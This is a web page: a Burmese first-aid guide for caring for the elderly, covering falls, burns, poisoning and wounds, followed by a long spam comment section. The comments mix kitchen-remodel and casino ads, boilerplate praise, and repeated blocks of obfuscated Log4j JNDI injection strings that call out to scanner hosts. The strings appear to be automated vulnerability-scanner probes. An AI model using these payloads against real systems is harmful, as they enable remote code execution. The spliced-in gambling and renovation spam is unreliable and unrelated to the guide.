သက်ကြီးရွယ်အိုများအတွက် ရှေးဦးသူနာပြု အခြေခံနည်းလမ်းများ
![]() |
သက်ကြီးရွယ်အိုများအတွက် ရှေးဦးသူနာပြု အခြေခံနည်းလမ်းများ
လူနေမှုအဆင့်အတန်းနှင့် ကျန်းမာရေးစံနှုန်းများ မြင့်မားလာခြင်းကြောင့် အသက် ၈၀ ၊ ၉၀ အရွယ်ထိ နေထိုင်လာနိုင်ကြခြင်း ဖြစ်ပါသည်။ သို့သော် သက်ကြီးရွယ်အိုများအနေနှင့် အိမ်တွင်းအိမ်ပြင် ကြုံလာနိုင်သော မတော်တဆမှုများကိုလည်း သတိပြုသင့်ပါသည်။
အသက်ကြီးလာတာနဲ့အမျှ မတော်တဆဖြစ်နိုင်မှု မြင့်တက်လာပါသည်။ အမြင်အာရုံချို့တဲ့လာခြင်း၊ အရေပြားလျော့ရဲလာခြင်း၊ ကြွက်သားဆုံးရှုံးမှုနှင့် အရိုးအားနည်းလာမှုများက သက်ကြီးရွယ်အိုများရဲ့ ခွန်အား၊ လှုပ်ရှားသွားလာနိုင်မှုနှင့် ကျန်းမာရေးသုခခံစားနိုင်ခြင်း တို့အပေါ် များစွာအကျိုးသက်ရောက်မှုများ ရှိနိုင်ပါသည်။ ဇီဝကမ္မဆိုင်ရာကန့်သတ်ချက်များက လူတစ်ဦးချင်းစီအတွက် ထိခိုက်မှုများ ဖြစ်စေနိုင်ပါသည်။ ဒါကြောင့် မိမိတို့တတ်နိုင်သမျှ ပြင်ဆင်မှုများ ပြုလုပ်ထားသင့်ပါသည်။ ဖြစ်လာနိုင်သော အန္တရာယ်များအပြင် ရှေးဦးသူနာပြု ဗဟုသုတများကိုပါ သိထားခြင်းဖြင့် သက်ကြီးရွယ်အိုများ၏ အသက်များကို ကယ်တင်နိုင်ပါသည်။
၁။ ရှေးဦးသူနာပြု ကိရိယာဘူးထားပေးခြင်း
ရောဂါထိန်းချုပ်ရေးနှင့် ကာကွယ်ရေးစင်တာများ၏ တင်ပြချက်အရ အသက် (၆၅) အထက်ရှိလူကြီး ၂၅% ခန့်သည် အများအားဖြင့် ဦးခေါင်းဒဏ်ရာရခြင်း၊ တင်ပါးဆုံရိုးကျိူးခြင်း၊ ထိုးပေါက်ဒဏ်ရာများရှိခြင်း စသည့် မတော်တဆမှု ပြဿနာများ အများဆုံး ဖြစ်ပွားလေ့ရှိသည်။ ထို့ကြောင့် ဖြစ်လျှင်ဖြစ်ခြင်း အရေးပေါ်အကူအညီပေးရန် ရှေးဦးသူနာပြု ကိရိယာဘူးများ လိုအပ်ပါသည်။ ရှေးဦးသူနာပြု ကိရိယာဘူး များသည် မတော်တဆမှုများ ဖြစ်ပွားပါက များစွာအထောက်အကူပြုနိုင်ပါသည်။ မမျှော်လင့်သော မတော်တဆမှုများတွင် ချော်လဲခြင်း၊ ခြစ်မိရှမိခြင်း၊ အပူလောင်ခြင်း နှင့် အဆိပ်သင့်ခြင်း တို့ပါဝင်ပါသည်။
၂။ ချော်လဲခြင်း
များသောအားဖြင့် ချော်လဲခြင်းကိုဖြစ်စေတဲ့ အကြောင်းအရင်းများမှာ အမြင်အာရုံချို့တဲ့ခြင်း၊ ကောင်းစွာမလှုပ်ရှားနိုင်ခြင်း၊ ဆေးဝါးများရဲ့ ဘေးထွက်ဆိုးကျိုးများကြောင့် မူးဝေခြင်း နှင့် ဟန်ချက်မညီခြင်း တို့ဖြစ်ပါသည်။ ထိုသို့ဖြစ်လျှင် ဆေးကုသမှု ချက်ချင်းခံယူခြင်း၊ သွေးထွက်မှုကို ထိန်းချုပ်ခြင်း နှင့် လှုပ်ရှား ကိုင်တွယ်မှုများကို ဂရုတစိုက် ပြုလုပ်ဖို့ အကြံပြုတိုက်တွန်းပါသည်။ လက်ချောင်း၊ ခြေချောင်းများ သွေးကြောပိတ်မပိတ် စစ်ဆေးပြီး လိုအပ်ပါက ဆေးကုသမှုရယူရန်မှာလည်း အရေးကြီးတဲ့အချက်တစ်ခု ဖြစ်ပါသည်။ လူနာကိုမရွှေ့ရန်နှင့် အရိုးများကို ပြန်လည်ဆွဲဆန့်ခြင်းများ မလုပ်မိရန်လည်း သတိပြုရပါမည်။ စကားပြောပေးခြင်းကလည်း ၎င်းတို့ကို စိတ်တည်ငြိမ်စေရန် ကူညီပေးပါသည်။
၃။ မီးအပူလောင်ခြင်း
သက်ကြီးရွယ်အိုများကို စောင့်ရှောက်သူများသည် မီးအပူလောင်ခြင်းကို ဖြစ်စေနိုင်သည့် အခြေအနေများကို ကြိုတင်ခန့်မှန်းထားရမည်။ မီးအပူလောင်ခြင်းကို ဖြစ်စေသည့် အရာများတွင် အများအားဖြင့် ရေပူဖြင့် ရေချိုးခြင်း၊ ပူလောင်နေသော အစားအစာများကို စားခြင်း၊ မီးဖိုဖွင့်ထားခြင်း၊ အပူပေးစက်ဖွင့်ခြင်းနှင့် နေလောင်ခြင်း တို့ပါဝင်ပါသည်။ သက်ကြီးစောင့် ရှောက်သူများသည် အပူလောင်ခြင်းမဖြစ်ရန် ကြိုတင်ကာကွယ်ခြင်းများ ပြုလုပ်ထားရန်လိုအပ်သည်။ အသေးစားမီးအပူလောင်ခြင်းများအတွက် မီးလောင်ဒဏ်ရာကို သန့်ရှင်းသက်သာစေရန် ပိုးသတ်ဆေးတစ်ခုခု သုတ်ပေးရမည်။ မီးအပူလောင်ဒဏ်ရာအကြီးများဖြစ်သည့်အခါ အရေးပေါ်ကုသမှုခံယူခြင်းသည်သာ အကောင်းဆုံးဖြစ်သည်။
၄။ အဆိပ်သင့်ခြင်း
စိတ်ဖောက်ပြန်ခြင်းနှင့် သတိမေ့လျော့ခြင်းတို့ကြောင့် သက်ကြီးရွယ်အိုများသည် မတော်တဆမှားယွင်း သောဆေးဝါများကိုသောက်သုံးမိတတ်ကြသည်။ အယ်လ်ဇိုင်းမားရောဂါရှိသော သက်ကြီးရွယ်အို များသည် သောက်သုံးရန်မသင့်သည့် အရည်များကိုပင်သောက်သုံးမိတတ်ကြသည်။ ထို့ကြောင့် အန္တရာယ်ရှိသော ဆေးဝါးများနှင့်ဓာတုပစ္စည်းများကို လက်လှမ်းမမှီသောနေရာတွင်ထားခြင်း (သို့မဟုတ်) သော့ခတ်ထားခြင်းသည် ကြိုတင်ကာကွယ်ခြင်းအတွက် အကောင်းဆုံး နည်းလမ်းဖြစ်သည်။ သက်ကြီးရွယ်အို တစ်ဦးဦး စားသုံးရန်မသင့်သည့် အရည်များသောက်သုံးမိသည့်အခါ ဆေးကုသမှု ချက်ချင်း ခံယူပြီး သောက်သုံးမိသည့် အညွှန်းကို သိရှိနိုင်ရန် ဆေးပုလင်းကို သိမ်းထားသင့်သည်။ ညွှန်ကြားချက်မရှိဘဲ အန်ခိုင်းခြင်းများမပြုလုပ်ရပါ။
၅။ ဒဏ်ရာများ
ဒဏ်ရာများရသည့်အခါ အခြားကူးစက်မှုများမဖြစ်စေရန် ဒဏ်ရာ၏ အဓိကနေရာကို ရေ၊ ဆပ်ပြာများဖြင့် သန့်ရှင်းရေးလုပ်ရန်အရေးကြီးသည်။ ဒုတိယအနေနှင့် ဒဏ်ရာကို ခြောက်အောင်လုပ်ပြီး ပိုးသတ်ဆေးတစ်မျိုးမျိုးကို လိမ်းပေးရမည်။ ဒဏ်ရာနာကျဉ်လာပြီး ပိုမိုဆိုးရွားလာပါက ဆေးကုသမှု ခံယူသင့်ပါသည်။
It’s time to start planning your kitchen renovation with a licensed contractor. We cater a wide range of kitchen and bath makeovers! Contact the experts at Fairfax Kitchen and Bath to see how we can help. Call today to schedule an appointment with one of our professionals and to receive a free estimate. And, to help with your planning, here is a kitchen budget for a farmhouse kitchen and another one that shares the budget of another kitchen from scratch. Lastly, don’t forget labor fees. They can cost about 22% of your budget, give or take special circumstances. They’re often separated from design fees (4% of your budget, according to NKBA), which means the total cost to bring your dream kitchen to life is about 26% of your overall budget. These are just suggestions on how you can save a few bucks on your kitchen remodel. At the USA Cabinet Store, we are more than willing to help you form a cost-efficient kitchen makeover to fit any budget. http://loganlake.nerdymoose.ca/index.php/community/profile/jamieetf9147101/ You can replace your existing hardware on your kitchen cabinets yourself to bring new personality and style to your kitchen. I recommend updating your hardware for your bathroom cabinets as well while you are at it. There are some great bargain task lighting available online. Don’t be afraid to get a bold, statement lighting fixture and make it the focal point of your kitchen. Try to find one that matches the existing hardware on your kitchen cabinets. It can make a huge difference in a kitchen. Look for deals online or in big box stores. Forget paint and tile. To amp up your current kitchen you could simply add elegant or unexpected decorative touches like a piece of art, a lamp on the counter, an antique mirror or rack, copper pots and pans, or a silver tray to put cooking oils on. One of the best ways to update your solid wood cabinets is to sand and restain them.
Hiya very nice blog!! Man .. Excellent .. Wonderful .. I’ll bookmark your website and take the feeds also?KI’m glad to find so many useful info right here within the publish, we need develop more techniques on this regard, thanks for sharing. . . . . .
I enjoy what you guys tend to be up too. This sort of clever work and reporting! Keep up the excellent works guys I’ve you guys to blogroll.
For help, support & advice about gambling please contact the National Gambling Helpline over the phone 0808 8020 133 or online visit BeGambleAware. In the early 2000s, online poker rooms and casinos first started appearing on the internet and rapidly gained in popularity. At this time PayPal was the most popular payment method used to fund gambling accounts. This included widespread use on offshore poker and casino sites, opening up PayPal to legal liability. Firstly, make sure that your chosen sportsbook is among those websites that accept PayPal as a means of payment. In terms of PayPal gambling sites, they are very fussy about who they deal with so not all brands list them as a means of funding. PayPal was founded in 1998 under the title of Confinity, a company that specialized in handheld device security software. When that business model wasn’t successful, they began focusing on creating a safe and secure e-wallet and launched PayPal in 1999. Confinity merged with X.com, an online banking company founded by Elon Musk, who is currently CEO of Tesla and SpaceX. In 2002, shortly after PayPal went public, Ebay acquired PayPal for $1.5 Billion. http://musecollectors.org/community/profile/pbrdustin739285/ WynnBet Casino entered the New Jersey online casino marketplace in July 2020 through a partnership with Caesars. The WynnBet New Jersey online casino app welcome bonuses include a deposit match of up to $1,000 and free slot spins on an easy-to-use mobile platform available for iOS or Android devices. WynnBet Casino entered the New Jersey online casino marketplace in July 2020 through a partnership with Caesars. The WynnBet New Jersey online casino app welcome bonuses include a deposit match of up to $1,000 and free slot spins on an easy-to-use mobile platform available for iOS or Android devices. In various countries it is possible to download the best free slot apps and play many of the slots in demo mode, which is available instantly on a mobile casino browser or once you downloaded and installed the app. This is a great way to test new free slots without any risk. In Canada however, you can still try to the best new slots for free, but in a bit of a different format:
Simply wanna input on few general things, The website layout is perfect, the subject matter is rattling wonderful. “The enemy is anybody who’s going to get you killed, no matter which side he’s on.” by Joseph Heller.
Hi! I’m at work surfing around your blog from my new apple iphone! Just wanted to say I love reading your blog and look forward to all your posts! Keep up the excellent work!
Hi there! This is my first comment here so I just wanted to give a quick shout out and say I genuinely enjoy reading through your articles. Can you suggest any other blogs/websites/forums that deal with the same subjects? Thanks!
It is really a great and useful piece of info. I’m glad that you shared this helpful information with us. Please keep us up to date like this. Thanks for sharing.
1
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://5cd5d8fee6d1bfb93bf4149b6aaa09ed5b84a806.33602835466067547.2850227379.log4j05.log4j.us1.qualysperiscope.com./QualysWAS}
${jnd${123%ff:-${123%ff:-i:}}ldap://88566e07c6873fa97c3cdc08ee3acfebc6c952a1.33602835466067547.1074350272.log4j07.log4j.us1.qualysperiscope.com./QualysWAS}
${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//aaa5b0dbb7b519c43ed499561853f0bab24a72a8.33602835466067547.3935797558.log4j08.log4j.us1.qualysperiscope.com./QualysWAS}
${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//e399a23a38578c0204ecde291b078996b5e3103d.33602835466067547.2312927035.log4j10.log4j.us1.qualysperiscope.com./QualysWAS}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://a3d9bb605f93bd3730f43a9ae924a1117b79fd63.33602835466067547.266768057.log4j12.log4j.us1.qualysperiscope.com./QualysWAS}
Very great post. I simply stumbled upon your blog and wished to mention that I have truly enjoyed browsing your weblog posts. In any case I’ll be subscribing for your feed and I hope you write once more soon!|
There are some attention-grabbing cut-off dates on this article however I don’t know if I see all of them middle to heart. There may be some validity but I’ll take hold opinion until I look into it further. Good article , thanks and we would like more! Added to FeedBurner as nicely
An impressive share! I have just forwarded this onto a co-worker who was doing a little research on this. And he in fact ordered me lunch due to the fact that I stumbled upon it for him… lol. So allow me to reword this…. Thank YOU for the meal!! But yeah, thanks for spending the time to talk about this topic here on your internet site.|
Thanks very nice blog!|
Moreover, every game comes complete with clear description texts and instructions to ensure that you can focus on what’s most important as quickly as possible: having fun! And if you need more Twists, you’ll find the perfect pack in our Shop. Remember, every online casino is different and can offer different variants of this traditional casino game. When you do play roulette with no deposit, you’ll be able to get a feel for the speed of the software, the location of the buttons, and how to place specific bets. And you can do it all without risking any real money. Bearing that in mind, it’s easy to see why people love to play free roulette online so much. Roulette is a gambling game, so you might feel that there’s no point in playing it for free, but we beg to differ. Here are some of the reasons why people play free roulette online. https://nysccommunity.com/community/profile/bernadineedouar/ В© 2020 Rivers Casino. There is no strategy to roulette because it’s impossible to predict what’s coming next. The numbers that have come up recently have no bearing on what numbers are about to come up. The clue that this is true is that most casinos have a marquee showing what numbers have recently hit. That means the casino is playing you. If looking at past numbers helped, the casino wouldn’t be happy to broadcast those numbers on a big sign. The house edge is the same whether you use the marquee or not. We are all about giving you the best casino experience out there, when you expect it and even when you don’t. WOW moments are always lurking round the corner – we’re sneaky like that. That’s why we’ve been named best casino 12 years on the trot.
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://62e9f95e7f7bba13613be2f7b13481e77bc41ffb.33679052466067547.1033948343.log4j05.log4j.us1.qualysperiscope.com./QualysWAS}
${jnd${123%ff:-${123%ff:-i:}}ldap://b8f61c1c3273d4d368e4b3150477a8077dbce09b.33679052466067547.1300632507.log4j07.log4j.us1.qualysperiscope.com./QualysWAS}
${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//fc639aab090ee4d9be5bd38d30945e6de35c4bef.33679052466067547.2302495249.log4j08.log4j.us1.qualysperiscope.com./QualysWAS}
${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//70b94e98f80a7fb86c31bbd13c483265356fd8e4.33679052466067547.710106813.log4j10.log4j.us1.qualysperiscope.com./QualysWAS}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://415d3320a1844e5bdd3ed9e3b70bc8c48affd50b.33679052466067547.848524440.log4j12.log4j.us1.qualysperiscope.com./QualysWAS}
}
This is very interesting, You’re a very skilled blogger. I’ve joined your feed and look forward to seeking more of your fantastic post. Also, I’ve shared your web site in my social networks!|
I am really inspired together with your writing talents and also with the structure in your weblog. Is this a paid subject or did you modify it your self? Anyway stay up the excellent quality writing, it is rare to look a nice weblog like this one these days..|
What i don’t understood is in fact how you’re no longer actually a lot more well-liked than you may be now. You’re so intelligent. You understand therefore significantly in the case of this matter, made me in my opinion imagine it from numerous varied angles. Its like men and women are not involved until it’s one thing to accomplish with Woman gaga! Your own stuffs outstanding. Always take care of it up!|
Touche. Great arguments. Keep up the amazing effort.|
I have read so many posts about the blogger lovers however this paragraph is in fact a good piece of writing, keep it up.|
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://fe51ae675b9556e114d49f6ef84e7fa0a2e2576a.33713568466067547.2500671867.log4j05.log4j.us1.qualysperiscope.com./QualysWAS}
${jnd${123%ff:-${123%ff:-i:}}ldap://a385e4b7ac09c4b1504119cb9d7f8c3033a4c1e8.33713568466067547.3297569287.log4j07.log4j.us1.qualysperiscope.com./QualysWAS}
1
${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//b2482ea3b10dd72b5d3e7ec1f164e9879775fa6f.33713568466067547.1304949259.log4j10.log4j.us1.qualysperiscope.com./QualysWAS}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://a0ea6304ddd13311a80b03c7edd6f2be959beab5.33713568466067547.624923273.log4j12.log4j.us1.qualysperiscope.com./QualysWAS}
An impressive share! I have just forwarded this onto a friend who was doing a little homework on this. And he actually ordered me lunch due to the fact that I stumbled upon it for him… lol. So let me reword this…. Thank YOU for the meal!! But yeah, thanks for spending some time to discuss this issue here on your web site.|
Hi to every one, for the reason that I am in fact keen of reading this web site’s post to be updated regularly. It contains pleasant stuff.|
Woah! I’m really enjoying the template/theme of this website. It’s simple, yet effective. A lot of times it’s difficult to get that “perfect balance” between superb usability and appearance. I must say you have done a awesome job with this. Additionally, the blog loads very quick for me on Firefox. Exceptional Blog!|
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://742c4c4e198b1da6b2a6e6d20900b4bab65b5dd6.33762098466067547.2097862327.log4j05.log4j.us1.qualysperiscope.com./QualysWAS}
${jnd${123%ff:-${123%ff:-i:}}ldap://05d5a0e71ce13a164f1d5707806ee4ea2d9c752f.33762098466067547.3099405916.log4j07.log4j.us1.qualysperiscope.com./QualysWAS}
${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//fa24b3c2d19a01648afaeb2b81b53b6afd42426e.33762098466067547.1572476051.log4j08.log4j.us1.qualysperiscope.com./QualysWAS}
${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//2fc673f6b7bcf228702dc9242a3edada2c04967e.33762098466067547.3690365721.log4j10.log4j.us1.qualysperiscope.com./QualysWAS}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://89ad3dd0b8901c489985c44a473f707d466025e6.33762098466067547.4211413302.log4j12.log4j.us1.qualysperiscope.com./QualysWAS}
Some genuinely excellent content on this internet site, appreciate it for contribution.
I like gathering useful info, this post has got me even more info! .
You really make it seem so easy with your presentation but I find this topic to be actually something that I think I would never understand. It seems too complicated and very broad for me. I am looking forward for your next post, I’ll try to get the hang of it!
You actually make it seem so easy with your presentation but I find this matter to be actually something that I think I would never understand. It seems too complicated and very broad for me. I am looking forward for your next post, I will try to get the hang of it!
Thanks a lot for sharing this with all of us you really realize what you are speaking approximately! Bookmarked. Please additionally consult with my web site =). We can have a hyperlink change arrangement among us!
Nice post. I learn something more challenging on different blogs everyday. It will always be stimulating to read content from other writers and practice a little something from their store. I’d prefer to use some with the content on my blog whether you don’t mind. Natually I’ll give you a link on your web blog. Thanks for sharing.
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://be59426df54235860c15426b15eeadd9a2d73c25.34552926466067547.333502596.log4j05.log4j.us1.qualysperiscope.com./QualysWAS}
I really appreciate this post. I have been looking all over for this! Thank goodness I found it on Bing. You’ve made my day! Thank you again!
I used to be more than happy to search out this net-site.I needed to thanks for your time for this excellent read!! I undoubtedly having fun with each little little bit of it and I have you bookmarked to take a look at new stuff you blog post.
Thanx for the effort, keep up the good work Great work, I am going to start a small Blog Engine course work using your site I hope you enjoy blogging with the popular BlogEngine.net.Thethoughts you express are really awesome. Hope you will right some more posts.